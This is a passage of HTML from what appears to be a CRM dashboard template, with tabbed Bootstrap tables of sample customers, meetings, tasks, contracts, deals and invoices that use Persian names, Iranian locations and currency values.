<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mina</td>
<td class="text-center">Noori</td>
<td class="text-center">Female</td>
<td class="text-center">12/6/1379</td>
<td class="text-center">+98 912 944 9756</td>
<td class="text-center">021 11706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-danger"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">John</td>
<td class="text-center">Rezaian</td>
<td class="text-center">Male</td>
<td class="text-center">7/1/1373</td>
<td class="text-center">+98 921 557 9885</td>
<td class="text-center">021 44696689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star text-gray"></i></label>
<label><i class="fa fa-star"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Mohsen</td>
<td class="text-center">Afsharzade</td>
<td class="text-center">Male</td>
<td class="text-center">21/6/1368</td>
<td class="text-center">+98 933 944 9756</td>
<td class="text-center">021 66706689</td>
<td class="text-center">Qom</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="rating">
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
<label><i class="fa fa-star text-warning"></i></label>
</div>
</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/customer-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal"
class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab555">
<div class="table-responsive ">
<table id="example-7" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">From time</th>
<th class="wd-25p border-bottom-0 text-center">Duration Time</th>
<th class="wd-15p border-bottom-0 text-center">Meeting Leader</th>
<th class="wd-25p border-bottom-0 text-center">Place</th>
<th class="border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i>
Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab666">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Requester</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-20p border-bottom-0 text-center">From Date</th>
<th class="wd-25p border-bottom-0 text-center">Deadline</th>
<th class="wd-25p border-bottom-0 text-center">Estimation Time</th>
<th class="wd-25p border-bottom-0 text-center">Priority</th>
<th class="wd-25p border-bottom-0 text-center">Progress</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Sending attachments</td>
<td class="text-center">Solo</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">8h 45m</td>
<td class="text-center"><span class="badge badge-warning">Medium</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Not Planned</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Training Meeting</td>
<td class="text-center">Meeting</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">4h</td>
<td class="text-center"><span class="badge badge-success">Low</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-5 font-weight-bold ">5%
</div>
</div>
</td>
<td class="text-center">Accepted</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Coordination Meeting</td>
<td class="text-center">Meeting</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">16h 30m</td>
<td class="text-center">
<span class="badge badge-danger">High</span>
</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-45 font-weight-bold ">45%
</div>
</div>
</td>
<td class="text-center">Rejected</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Video Editing</td>
<td class="text-center">Edit</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center"><NAME>eri</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">7h 15m</td>
<td class="text-center"><span class="badge badge-warning">Medium</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Birthday filming</td>
<td class="text-center">filming</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">10h</td>
<td class="text-center"><span class="badge badge-danger">High</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-25 font-weight-bold ">25%
</div>
</div>
</td>
<td class="text-center">Paused</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab777">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Title</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Creator</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Create Date</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Owner</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Tag</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Hold Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Value</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Project serial
</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Branch</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Something</td>
<td class="text-center"> AhmadAzimi</td>
<td class="text-center">2/2/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/3/93</td>
<td class="text-center">5,000,000 T</td>
<td class="text-center">65165</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">2/6/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/5/97</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">98798</td>
<td class="text-center">Teh, Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Mahsa Karimi</td>
<td class="text-center">2/2/97</td>
<td class="text-center">Saba Noori</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">21/3/98</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">32132</td>
<td class="text-center">Turkey , Istanbul</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">4/8/97</td>
<td class="text-center">Reza Shiri</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">5/5/98</td>
<td class="text-center">11,000,000 T</td>
<td class="text-center">11591</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">5/8/96</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">6/5/97</td>
<td class="text-center">41,000,000 T</td>
<td class="text-center">25682</td>
<td class="text-center">Qom</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab888">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="border-bottom-0 text-center">Create Date</th>
<th class="border-bottom-0 text-center">Title</th>
<th class="border-bottom-0 text-center">Customer</th>
<th class="border-bottom-0 text-center">Tag</th>
<th class="border-bottom-0 text-center">Value</th>
<th class="border-bottom-0 text-center">Source</th>
<th class="border-bottom-0 text-center">Responsibile</th>
<th class="border-bottom-0 text-center">Probability</th>
<th class="border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Formality</td>
<td class="text-center"><NAME></td>
<td class="text-center">Formality</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-green-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-10">10%</div>
</div>
</td>
<td class="text-center">Contracted</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center"><NAME></td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-green-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35">35%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center">Wedding</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-gray-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100">100%</div>
</div>
</td>
<td class="text-center">Success</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Party</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Party</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-gray-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-50">50%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Wedding</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Newborn</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-green-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30">30%</div>
</div>
</td>
<td class="text-center">Meeting scheduled</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Formality</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Formality</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-gray-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-0">0%</div>
</div>
</td>
<td class="text-center">Failed</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center bg-green-lighter"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85">85%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab999">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-left">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-20p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Price</th>
<th class="wd-10p border-bottom-0 text-center">Creator</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-25p border-bottom-0 text-center">Related To</th>
<th class="wd-25p border-bottom-0 text-center">Payment Request Num</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number One</td>
<td class="text-center">Purchase</td>
<td class="text-center">06 April 2020</td>
<td class="text-center">$ 1,200</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Equipment</td>
<td class="text-center">151315</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Two</td>
<td class="text-center">Sale</td>
<td class="text-center">15 March 2019</td>
<td class="text-center">$ 5,000</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Salaries</td>
<td class="text-center">31843416</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Three</td>
<td class="text-center">Purchase</td>
<td class="text-center">29 December 2021</td>
<td class="text-center">$ 4,100</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Catering</td>
<td class="text-center">13815525</td>
<td class="text-center">Velenjak</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Four</td>
<td class="text-center">Purchase</td>
<td class="text-center">11 October 2018</td>
<td class="text-center">$ 2,000</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Equipment</td>
<td class="text-center">1351555</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Five</td>
<td class="text-center">Sale</td>
<td class="text-center">06 March 2020</td>
<td class="text-center">$ 5,500</td>
<td class="text-center">Ali Azimi</td>
<td class="text-center">Saba Azarpeyk</td>
<td class="text-center">Transportation</td>
<td class="text-center">11224456</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
